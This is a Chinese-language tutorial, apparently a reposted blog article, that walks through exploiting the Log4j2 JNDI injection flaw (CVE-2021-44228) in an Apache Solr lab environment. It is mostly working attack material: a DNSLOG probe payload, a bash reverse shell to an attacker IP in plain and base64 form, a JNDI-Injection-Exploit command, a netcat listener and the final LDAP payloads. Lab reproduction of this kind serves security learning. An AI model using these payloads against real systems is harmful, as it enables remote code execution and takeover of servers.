本文主要是介绍代码执行漏洞-Log4j2漏洞，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
1.执行以下命令启动靶场环境并在浏览器访问
cd log4j/CVE-2021-44228
docker-compose up -d
docker ps
2.先在自己搭建的DNSLOG平台上获取⼀个域名来监控我们注⼊的效果
3.可以发现 /solr/admin/cores?action= 这⾥有个参数可以传，可以按照上⾯的原理 先构造⼀个请求传过去存在JNDI注⼊那么ldap服务端会执⾏我们传上去的payload然后在DNSLOG 平台上那⾥留下记录，我们可以看到留下了访问记录并且前⾯的参数被执⾏后给我们回显了java的版本号!
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.m0uwxb.dnslog.cn }
4.开始反弹Shell准备 JNDI-Injection-Exploit 下载地址并构造PayLoad如下...启动！
JDNI项⽬地址
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
反弹shell
bash -i >& /dev/tcp/172.16.1.14/6666 0>&1
反弹Shell-base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xNC82NjY2IDA+JjE=
最终Payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xNC82NjY2IDA+JjE= }|{base64,-d}|{bash, -i}" -A "172.16.1.14"
5.服务器监听
nc -lvvp 6666
6.拿取JDK1.8并构造Payload且直接访问..可以看到网页被重定向到了我们的恶意类网址...
/solr/admin/cores?action=${jndi:ldap://172.16.1.14:1389/jvqmxl } ${jndi:ldap://172.16.1.14:6666/uma7pn}
这篇关于代码执行漏洞-Log4j2漏洞的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
